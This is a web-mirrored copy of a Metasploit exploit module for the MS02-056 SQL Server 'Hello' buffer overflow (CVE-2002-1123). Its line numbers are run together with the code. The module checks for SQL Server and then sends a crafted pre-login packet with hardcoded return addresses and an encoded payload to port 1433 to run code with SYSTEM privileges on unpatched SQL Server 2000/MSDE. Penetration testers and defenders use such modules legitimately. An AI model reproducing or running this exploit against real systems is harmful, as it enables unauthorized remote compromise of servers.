Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mssql/ms02_056_hello.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::MSSQL910def initialize(info = {})11super(update_info(info,12'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',13'Description' => %q{14By sending malformed data to TCP port 1433, an15unauthenticated remote attacker could overflow a buffer and16possibly execute code on the server with SYSTEM level17privileges. This module should work against any vulnerable18SQL Server 2000 or MSDE install (< SP3).1920},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2002-1123'],26[ 'OSVDB', '10132'],27[ 'BID', '5411'],28[ 'MSB', 'MS02-056'],2930],31'Privileged' => true,32'Payload' =>33{34'Space' => 512,35'BadChars' => "\x00",36'StackAdjustment' => -3500,37},38'Targets' =>39[40[41'MSSQL 2000 / MSDE <= SP2',42{43'Platform' => 'win',44'Rets' => [0x42b68aba, 0x42d01e50],45},46],47],48'Platform' => 'win',49'DisclosureDate' => '2002-08-05',50'DefaultTarget' => 0))51end5253def check54info = mssql_ping55if (info['ServerName'])56print_status("SQL Server Information:")57info.each_pair { |k,v|58print_status(" #{k + (" " * (15-k.length))} = #{v}")59}60return Exploit::CheckCode::Detected61end62return Exploit::CheckCode::Safe63end6465def exploit66connect67buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +68"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +69"\x10\x00\x00\x00" +70rand_text_english(528, payload_badchars) +71"\x1B\xA5\xEE\x34" +72rand_text_english(4, payload_badchars) +73[ target['Rets'][0] ].pack('V') +74[ target['Rets'][1], target['Rets'][1] ].pack('VV') +75'3333' +76[ target['Rets'][1], target['Rets'][1] ].pack('VV') +77rand_text_english(88, payload_badchars) +78payload.encoded +79"\x00\x24\x01\x00\x00"8081sock.put(buf)8283handler84disconnect85end86end878889